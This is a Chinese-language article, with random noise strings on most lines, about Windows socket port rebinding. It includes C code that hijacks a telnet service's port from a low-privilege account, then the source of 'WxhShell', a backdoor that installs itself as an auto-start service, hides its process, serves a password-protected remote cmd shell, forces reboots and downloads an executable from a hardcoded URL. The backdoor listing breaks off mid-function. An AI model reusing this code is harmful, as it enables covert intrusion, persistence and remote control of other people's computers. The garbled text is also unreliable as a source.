在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
r[TTG0| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
YR{%pZp ia!b0*< saddr.sin_family = AF_INET;
/_`f b)f &3nbmkM saddr.sin_addr.s_addr = htonl(INADDR_ANY);
@4'bI) Q^iE,_Zq bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
$\DOy&e dHtbl\6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
kYVn4Wq soH
M5<U 这意味着什么?意味着可以进行如下的攻击:
0(Hhb#WDh\ _7O;ED+ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
I\BcG(hlJ \;h+:[<e1 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
(61_=,jv\h 0M'[|cid| 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
A@W/ [CBhipoc 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
QB Nnvg4v b~1]}9TJ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}nQni? (L{Kg U&{$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
XM+o e0:[ I.M@we/bR} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
t~luBUF %4%$NdU" #include
=`b/ip5 #include
4rmSo^vK #include
Gl1Qbd0 #include
7.r}98V DWORD WINAPI ClientThread(LPVOID lpParam);
Aj9Onz,Lg int main()
: *~}\M* {
;}tEU'& WORD wVersionRequested;
v[aFSXGj) DWORD ret;
: DxCjv WSADATA wsaData;
hr+,-j BOOL val;
J<
E"ZoY SOCKADDR_IN saddr;
oPX `/X# SOCKADDR_IN scaddr;
^st.bzg+[ int err;
0u?{"xH{+} SOCKET s;
yC]xYn) SOCKET sc;
6%p$C
oR int caddsize;
^&AhWm7\ HANDLE mt;
wc3OOyP@0 DWORD tid;
HOn,c@.9Y wVersionRequested = MAKEWORD( 2, 2 );
C/JeD-JG err = WSAStartup( wVersionRequested, &wsaData );
]<pnHh+2A if ( err != 0 ) {
6a+w/IO3OU printf("error!WSAStartup failed!\n");
ha;Xali ] return -1;
Y=%SK8]Q; }
rcC}4mNe saddr.sin_family = AF_INET;
nTJ-1A7EP `sS\8~A //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
6hE. i
x ,+u.FQv~ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
=1JS6~CTLN saddr.sin_port = htons(23);
t Z_ni} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
sg.8Sd"]7 {
Gj~1eS printf("error!socket failed!\n");
8>E_bxC return -1;
Z$0+jpG_s }
woH B![Q, val = TRUE;
,_JhvPWR,) //SO_REUSEADDR选项就是可以实现端口重绑定的
V-y"@0%1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
},"T,t# {
ndSM*Fq printf("error!setsockopt failed!\n");
SNV[KdvP* return -1;
]%{.zl! }
x2#5"/~4 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
arCi$:-z@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
!J5k?J&{= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
X#qmwcF x}g5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ECO4ut.d {
F/"Q0% (m ret=GetLastError();
"Ih>>|r printf("error!bind failed!\n");
V)$y return -1;
3f u*{8.XZ }
^J?ExMu listen(s,2);
hmA$gR_ while(1)
*H"IW0I {
gaK m`# caddsize = sizeof(scaddr);
@>wD`<U| //接受连接请求
j|`6[93MG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
sHqs)@D if(sc!=INVALID_SOCKET)
kWF/SsE {
*^BW[C/CTR mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
6m.ChlO/ if(mt==NULL)
h,Y!d]2w {
Quc,,#u printf("Thread Creat Failed!\n");
yGNZw7^( break;
uCc.dluU }
;XJK*QDN }
r'kUU]j9 CloseHandle(mt);
cTA8F"UGD }
n{>Ge,enP0 closesocket(s);
|H:JwxH WSACleanup();
.6,+q2tyk, return 0;
(xp<@- }
Ywj=6 +; DWORD WINAPI ClientThread(LPVOID lpParam)
CDDx %#eG> {
7x/S4Gs'4 SOCKET ss = (SOCKET)lpParam;
E<[_L!2 SOCKET sc;
DCJmk6p%0 unsigned char buf[4096];
]s*Fs]1+H SOCKADDR_IN saddr;
7eQE[C long num;
j\^0BTZ DWORD val;
Oz\mIVC# DWORD ret;
R W=<EF& //如果是隐藏端口应用的话,可以在此处加一些判断
6GxQ< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
y$n7'W6 saddr.sin_family = AF_INET;
[m9Pt]j@
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
]L'FYOfrpx saddr.sin_port = htons(23);
U({20 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
hEO#uAR^Z {
4H7
3a5f printf("error!socket failed!\n");
9;Z2.P"w return -1;
63s<U/N }
+N161vo7 val = 100;
?[$=5? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0p8Z l {
uCA!L)$ ret = GetLastError();
b-/zt Z@u return -1;
*WSH-*0 }
4=j,:q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Fq{Z-yVp {
u
N%RB$G ret = GetLastError();
_eB?G return -1;
ep"YGx[V }
64Ot`=A" if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
lpW|GFG {
)$V &Nf
printf("error!socket connect failed!\n");
)+^1QL closesocket(sc);
q<Zdf closesocket(ss);
T&?0hSYt return -1;
z|Z<S+=f }
&cjE+ while(1)
kzA%.bP| {
U'pm5Mc\q //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
DzZ)aE //如果是嗅探内容的话,可以再此处进行内容分析和记录
tEz6B} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
P;&rh U^[ num = recv(ss,buf,4096,0);
oDyrf"dl if(num>0)
-Cb<T"7 send(sc,buf,num,0);
Sm(QgZO[4 else if(num==0)
9Fe(],AzF break;
M`W%nvEDE num = recv(sc,buf,4096,0);
(S:+#v if(num>0)
(BtavE send(ss,buf,num,0);
5lp
L$ else if(num==0)
!B= Oc!e=K break;
^y.e
Fz }
btq`[gAF\ closesocket(ss);
KFCL|9P closesocket(sc);
cz8%p;F: return 0 ;
yOn +Y }
`O-LM e T [w]w
e*O-LI2O ==========================================================
3Lxk7D>0c \]y4e^FZZ 下边附上一个代码,,WXhSHELL
hcQvL> ap;tggi(H ==========================================================
Qm|Q0u '4PAH2&n #include "stdafx.h"
nwwKef( #+V5$ #include <stdio.h>
FHNK%Ko #include <string.h>
zw{cli&S #include <windows.h>
H].G%,2' #include <winsock2.h>
UcCkn7} #include <winsvc.h>
s*R\!L #include <urlmon.h>
Zk+J= Cwq} 0phO1h]2S) #pragma comment (lib, "Ws2_32.lib")
} z4=3' #pragma comment (lib, "urlmon.lib")
B/IPG~aMEZ 1a#oJU #define MAX_USER 100 // 最大客户端连接数
=*q|568 #define BUF_SOCK 200 // sock buffer
lVywc:X #define KEY_BUFF 255 // 输入 buffer
:@PM+ [B|Q [3a-1, #define REBOOT 0 // 重启
o0- 7# 2 #define SHUTDOWN 1 // 关机
'1)BZ!
@`:n +r5u #define DEF_PORT 5000 // 监听端口
>3H/~ Y myT z #define REG_LEN 16 // 注册表键长度
*_<P%J #define SVC_LEN 80 // NT服务名长度
Lc>9[!+# WA-`
*m$v // 从dll定义API
m`<Mzk.u< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
RUTlwTdv typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
k^q}F%UV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
I)~&6@Jn typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
15Vb`Vf`N #C?T // wxhshell配置信息
^7`"wj14 struct WSCFG {
0_HdjK int ws_port; // 监听端口
2e}${NZN char ws_passstr[REG_LEN]; // 口令
-GkNA"2M[ int ws_autoins; // 安装标记, 1=yes 0=no
~L!*p0dS^ char ws_regname[REG_LEN]; // 注册表键名
7@g8nv(p char ws_svcname[REG_LEN]; // 服务名
R9SJ;TsE char ws_svcdisp[SVC_LEN]; // 服务显示名
'3Ir(]Wfd char ws_svcdesc[SVC_LEN]; // 服务描述信息
q#W|*kL3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
7<Fp3N 3 int ws_downexe; // 下载执行标记, 1=yes 0=no
pv2_A char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
.xT8@] char ws_filenam[SVC_LEN]; // 下载后保存的文件名
s)$N&0\ -Iz&/u*}f };
U;n$ 7%Zl^c>q // default Wxhshell configuration
4!Ez#\ struct WSCFG wscfg={DEF_PORT,
2Mc/ah "xuhuanlingzhe",
Sf>R7.lpP 1,
?PNG@OK "Wxhshell",
bWv4'Y!p "Wxhshell",
-If-c'"G "WxhShell Service",
`fEB,0j^ "Wrsky Windows CmdShell Service",
&x{CC@g/ "Please Input Your Password: ",
nu,#y"WQ 1,
./@!k[ "
http://www.wrsky.com/wxhshell.exe",
#n^P[Zw "Wxhshell.exe"
-bHQy: };
YmM+x=G: VOBzB] // 消息定义模块
u7>b}+ak& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
C Ih@H6| char *msg_ws_prompt="\n\r? for help\n\r#>";
D%v4B`4ua' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
!dB {E char *msg_ws_ext="\n\rExit.";
:8}QKp char *msg_ws_end="\n\rQuit.";
-;_`>OU{ char *msg_ws_boot="\n\rReboot...";
` bd char *msg_ws_poff="\n\rShutdown...";
ODK$G
[- char *msg_ws_down="\n\rSave to ";
Y:C7S~ OKfJ char *msg_ws_err="\n\rErr!";
Y)Y`9u<? char *msg_ws_ok="\n\rOK!";
q10gKVJum '~i}2e. char ExeFile[MAX_PATH];
^yUel.N5" int nUser = 0;
BP2-LG&\ HANDLE handles[MAX_USER];
Ktg{-Xl int OsIsNt;
9I8{2] v8"plx=3 SERVICE_STATUS serviceStatus;
\P]w^ SERVICE_STATUS_HANDLE hServiceStatusHandle;
Ev;HV}G }f)$+mi // 函数声明
hoI?,[@F int Install(void);
$X_JUzb int Uninstall(void);
@-bX[}. int DownloadFile(char *sURL, SOCKET wsh);
_^Lv8a3(O int Boot(int flag);
C.V")D= void HideProc(void);
[-!
int GetOsVer(void);
I_@\O!<y} int Wxhshell(SOCKET wsl);
}}XYV eI void TalkWithClient(void *cs);
e Ll+F%@ int CmdShell(SOCKET sock);
|ofegO}W7 int StartFromService(void);
S!qJqZ<Bv int StartWxhshell(LPSTR lpCmdLine);
`k65&]&d *@fR36 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
FX7=81**4 VOID WINAPI NTServiceHandler( DWORD fdwControl );
z]ZhvH7- a&~_ba+ // 数据结构和表定义
3DnlXH(h1 SERVICE_TABLE_ENTRY DispatchTable[] =
Ddde,WJA {
iph>"b$D {wscfg.ws_svcname, NTServiceMain},
Z^,C><Yt {NULL, NULL}
9ctvy?53H };
* ]~ug%a tVd\ r"0k // 自我安装
2yR*<yj int Install(void)
+8 5]]}I {
X-9>;Mb~y char svExeFile[MAX_PATH];
N-|E^XIV HKEY key;
<b>@'\w9 strcpy(svExeFile,ExeFile);
*@=in7*c Zws[}G"7h // 如果是win9x系统,修改注册表设为自启动
Z`nHpmNM if(!OsIsNt) {
LAeJz_9U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
g1VdP[Y# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
emOd<C1A RegCloseKey(key);
x/Se
/C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[Hz_x(t26 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0ZPwEP RegCloseKey(key);
EZaWEW return 0;
/kE3V`es }
9@
[R>C }
zu'Uau }
Ql
a'vcT else {
j*>+^g\Q6 Kdk0#+xtP // 如果是NT以上系统,安装为系统服务
1eQ9(hzF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
~C=I{qzF+ if (schSCManager!=0)
TSqfl/UI {
.MkHB0
2N SC_HANDLE schService = CreateService
M3@Wb@ (
Hrq1 {3~ schSCManager,
*JE%bQ2Q wscfg.ws_svcname,
y:(OZ%g wscfg.ws_svcdisp,
;vvO#3DWM SERVICE_ALL_ACCESS,
pC
l[DE SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
k@U8K(:x SERVICE_AUTO_START,
w@Uw8b SERVICE_ERROR_NORMAL,
LnIln[g: svExeFile,
w~a^r]lPW NULL,
PVHJIB NULL,
*LpEH,J NULL,
>_P7 k5Y^ NULL,
S[!K NULL
\$YKw0K );
6M9t<DQV if (schService!=0)
k\$))<3 {
,d n9tY3 CloseServiceHandle(schService);
'_,/N!-V CloseServiceHandle(schSCManager);
O,R5csMh strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
GZ0?
C2\ strcat(svExeFile,wscfg.ws_svcname);
5ckL=q"+/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
>c%OnA,3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
n 1MZHa, RegCloseKey(key);
1S9(Zn[2, return 0;
@5N^^B }
[2?|BUtD[ }
E8g Xa-hv CloseServiceHandle(schSCManager);
B*btt+6 }
_#@n^c }
k`JP Y$hYW return 1;
~$n4Yuu2[ }
`v3WJ>Q!N? !E!i`yF // 自我卸载
DhY.5 int Uninstall(void)
b"n8~Vd {
I
Y%M5(&Q HKEY key;
w>Iw&US
W1'F)5(?7 if(!OsIsNt) {
uKc x$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
IvGQ7
VLr RegDeleteValue(key,wscfg.ws_regname);
"s!!\/^9C RegCloseKey(key);
0+MNu8t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
twElLOE RegDeleteValue(key,wscfg.ws_regname);
-V0_%Smc RegCloseKey(key);
eJA$J=^R; return 0;
MyB&mC7Es }
H'k $<S }
Y,Dd}an }
3qJOE6[}% else {
hw! l{yv C'&)""3d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
!z">aIj\6 if (schSCManager!=0)
`i5U&K. 7 {
.GcIwP'aU- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
^hq+
L^$^ if (schService!=0)
|/<,71Ae {
%B?@le+% if(DeleteService(schService)!=0) {
-&4>>h9_ CloseServiceHandle(schService);
(5-
w>( CloseServiceHandle(schSCManager);
68Po`_/s return 0;
O b'B? }
]-[M&i=+& CloseServiceHandle(schService);
:5Vk+s]8 }
[U9b_` CloseServiceHandle(schSCManager);
U-Ia$b-5! }
VP0q?lh }
MmiC%"7wt ^mxOQc ! return 1;
ZoX24C' }
m>yb}+ HVO
mM17 // 从指定url下载文件
n%'M?o]DF int DownloadFile(char *sURL, SOCKET wsh)
'%Og9Bgd+ {
MMlryn||1 HRESULT hr;
kQ~2mU char seps[]= "/";
{!!df.h char *token;
E;!pK9wL| char *file;
$A~UA char myURL[MAX_PATH];
zVN/|[KP4 char myFILE[MAX_PATH];
GL;@heP LXYpP-E strcpy(myURL,sURL);
6v8HR}iK token=strtok(myURL,seps);
58xaVOhb while(token!=NULL)
Ku;|Dz/=o {
\f| Hk*@ file=token;
DV+M;rs token=strtok(NULL,seps);
?bFP'. }
k1tJ$} X&C&DTB GetCurrentDirectory(MAX_PATH,myFILE);
j("$qpv strcat(myFILE, "\\");
\H(r }D$u< strcat(myFILE, file);
UNLmnj;-Q send(wsh,myFILE,strlen(myFILE),0);
X3[gi` send(wsh,"...",3,0);
W\]bh'( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
S&/</% if(hr==S_OK)
]0N'Wtbn return 0;
\8j5b+ else
q5
eyle6 return 1;
#I>
c$dd HI iMq'H^ }
#a1zk\R3 LX<arHz // 系统电源模块
V~#e%&73FH int Boot(int flag)
W|@7I@@$" {
s5/5>a V HANDLE hToken;
;+v5li TOKEN_PRIVILEGES tkp;
Vb{5 -v
;a 9%fd\o@X if(OsIsNt) {
oCtg{*vp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
$cl[Qcw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
;]*V6!6RR tkp.PrivilegeCount = 1;
wQ1_Q8 :Z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
lMkDLobos AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
.CJQ]ECl7p if(flag==REBOOT) {
Xae0xs if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
d)@Hx8 return 0;
EY3x o-H }
'I$-h<W else {
8:#\g if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
pe^hOzVv return 0;
(EW<Ggi }
gut[q }
DI9hy/T( else {
<//82j+px if(flag==REBOOT) {
eKRslMa if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
t "y[ return 0;
-NzO ,? }
DlC\sm else {
Zl,c+/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
}"}
z7Xb0 return 0;
So?.V4aD_ }
3=[#(p: }
W&M=%
|gXtP- return 1;
+Dvdv<+ }
2Y~UeJ_\Lq TtZZjeg+V // win9x进程隐藏模块
TcB^Sctf void HideProc(void)
-Iq
W@|N {
~bm
VpoI _(J;!, HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
T,'{0q if ( hKernel != NULL )
GCrIaZ {
2T3TD% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
C%c}lv8;^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
P:~Xaz\F FreeLibrary(hKernel);
XOOWrK7O }
(tZ#EL0 j[E8C$lW return;
[cJQ"G ' }
%62W[Oh5 $O\I9CGr$ // 获取操作系统版本
>Xz=E0;^Ua int GetOsVer(void)
? PIq/[tk {
hMcSB8 ? OSVERSIONINFO winfo;
g(X-]/C{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
0wFa7PyG? GetVersionEx(&winfo);
L&D+0p^lI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
P<.
TiF?@ return 1;
aJ!(c}N~97 else
+jpaBr-O# return 0;
$x5,Oe n }
b*;zdGX.A9 N3M:|D // 客户端句柄模块
N+)gYb6h int Wxhshell(SOCKET wsl)
]YQ!i@Y {
f+}Rj0A SOCKET wsh;
;HKb struct sockaddr_in client;
4blw9x N DWORD myID;
It5U=PU M lv while(nUser<MAX_USER)
KOQiX?' {
Z.Otci> J int nSize=sizeof(client);
A~2U9f+\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
t>f61<27eB if(wsh==INVALID_SOCKET) return 1;
FWi c/7 g&79?h4UXQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
t h!$R if(handles[nUser]==0)
bHJKX>@{ closesocket(wsh);
M-#OPj* else
Lg;b17 nUser++;
YN=dLr([< }
UU7E+4O& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
"-y2En tEU}?k+:j) return 0;
8LI
aN} }
dwH8Zg$B T9s$IS , // 关闭 socket
P M
x`PB void CloseIt(SOCKET wsh)
g431+O0K1 {
\tpJ closesocket(wsh);
PZT]H? nUser--;
-d j9(~?^ ExitThread(0);
]q,5'[=~4h }
Lc&LF* nZ4JI+Q)~ // 客户端请求句柄
2s^9q9NS" void TalkWithClient(void *cs)
gY],U4_:p {
2#srecIz-! >AtW SOCKET wsh=(SOCKET)cs;
+*W9*gl char pwd[SVC_LEN];
3 s @6pI char cmd[KEY_BUFF];
^)JUl!5j]C char chr[1];
@ij8AGE: int i,j;
oVD)Fb%[i9 sIVVF#0}] while (nUser < MAX_USER) {
Q140b;Z Sckt gp8 if(wscfg.ws_passstr) {
DH@]d0N if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>A]U.C //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
A?YU:f //ZeroMemory(pwd,KEY_BUFF);
3`Ug]<m i=0;
Y)Os]<N1 while(i<SVC_LEN) {
h20<X; }\iH ~T6 // 设置超时
!=)R+g6b fd_set FdRead;
8!R +wy struct timeval TimeOut;
sp&s
5aw FD_ZERO(&FdRead);
;s^br17z~ FD_SET(wsh,&FdRead);
WfdM~k\ TimeOut.tv_sec=8;
?{)s dJe TimeOut.tv_usec=0;
/Zzb7bHLK int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
IInsq if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
v+), uj P"Scs$NOU? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
bNH72gX2Yh pwd
=chr[0]; tom1u>1n
if(chr[0]==0xd || chr[0]==0xa) { P' ";L6h
pwd=0; @]{+9m8G@
break; `Kt]i5[ "
} T>~D(4r|pS
i++; |9fvj6?Y
} fGwRv%$^
_mEW]9Sp
// 如果是非法用户,关闭 socket he
vM'"|4
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z1K}] z%
} a>05Yxw
5W Z9z-6
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~ z< &vQ=
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #`g..3ey
E$4_.Z8sRw
while(1) { |vGb,&3
(Yv )%2
ZeroMemory(cmd,KEY_BUFF); "X[sW%# F
/Ezx'h3Q
// 自动支持客户端 telnet标准 2\b 2W_
j=0; x;F^7c1
while(j<KEY_BUFF) { B#A
.-nb
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #"T< mM7
cmd[j]=chr[0]; Np.]
W(
if(chr[0]==0xa || chr[0]==0xd) { @5[9iY
cmd[j]=0; Tc3~~ X
break; nEG+TRZ)\
} "mk4O4dF
j++; \ZOH3`vq
} lDWg%pI+
+WH|nV~lQ
// 下载文件 #W]4aZ1
if(strstr(cmd,"http://")) { #A:+|{H"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); }C'H@:/
if(DownloadFile(cmd,wsh)) nt5x[xa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m|CB')
else u2FD@Xq?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0afDqvrC6
} z_ 01*O
else { CyWMr/'
$:4*?8K2
switch(cmd[0]) { 2#XYR>[
Jc3Z1 Tt
// 帮助 hoDE*>i
case '?': { 6-+q3#e
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YVcO+~my
break; 0DZ}8"2
} )' hOW*v
// 安装 Q4[^JQsR2
case 'i': { Y30T>5
if(Install()) #+Pk_?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O} &%R:
else eM) I%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )tD[Ffvr
break; c1wP/?|.>
} FG6bKvEQm^
// 卸载 wuV*!oef o
case 'r': { 8M~^/Zc
if(Uninstall()) }~akVh`3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -".q=$f
else |Y9mre.Y;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qm >x?
break; =.Hq]l6+
} Ld9YbL:
// 显示 wxhshell 所在路径 $*k9e ^{S
case 'p': { e$2P/6k>
char svExeFile[MAX_PATH]; (xoYYO
strcpy(svExeFile,"\n\r"); KV$4}{
strcat(svExeFile,ExeFile); O|)b$H_
send(wsh,svExeFile,strlen(svExeFile),0); M_-L#FHX
break; <VQ)}HW;k
} V0#Ocq,
// 重启 (vX<Bh
case 'b': { i;s;:{cn
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^Il*`&+?P
if(Boot(REBOOT)) awvP;F?q|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2H0BNrYM
else { &"I csxG
closesocket(wsh); "P54|XIJ\
ExitThread(0); F?05+
} X{Hh^H
break; %+Y wzL{
} xy4+
[u
// 关机 |2@*?o"ll
case 'd': { 5%e+@X;j
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V>,=%r4f
if(Boot(SHUTDOWN)) o kA<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I[v`)T'_{
else { QIevps*
closesocket(wsh); 7gZ}Qy
ExitThread(0); 3l41"5Fy&
} .RJMtmp
break; kltW
} ]d@>vzCO
// 获取shell Qni`k)4
case 's': { x: _[R{B
CmdShell(wsh); s</qT6@
closesocket(wsh);
: v;U7
ExitThread(0); uf9&o#
break; m,!SDCq
} w4Df?)Z
// 退出 \yFUQq:
case 'x': { A)>#n)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5TB6QLPEwY
CloseIt(wsh); _/noWwVu
break; $HsNV6
} _`&l46
// 离开 ]VLseF
case 'q': { ?z&%VU"
send(wsh,msg_ws_end,strlen(msg_ws_end),0);
v[^8_y}A`
closesocket(wsh); dCTyfXou[=
WSACleanup(); cPNc$^Y
exit(1); 4d4+%5GE
break; ]lBCK
} URrx7F98
} -[
gT}{k!
} 6{HCF-cQd
@;P ;iI
// 提示信息 H4AT>}ri
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S* O .
?
} ][v]Nk
} QR'# ]k;>%
jxkjPf?
return; 8Ejb/W_
} &tAYF_}
,Q7;(&x~
// shell模块句柄 T TN!$?G3
int CmdShell(SOCKET sock) pcwYgq#5
{ ={zTQ+7S`
STARTUPINFO si; }\?9Prsd
ZeroMemory(&si,sizeof(si)); *??lwvJp
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A+0-pF2D
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !EhKg)y=
PROCESS_INFORMATION ProcessInfo; ZDW=>}~_y
char cmdline[]="cmd"; OpEH4X.Z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8$
u"92
return 0; (jDz[b#OPz
} yQN{)rv
&btI#
// 自身启动模式 ^x: lB>
int StartFromService(void) R;c9)>8L
{ QE\
[EI2
typedef struct gYc]z5`
{ |2u=3#Jp
DWORD ExitStatus; hcj}6NXc
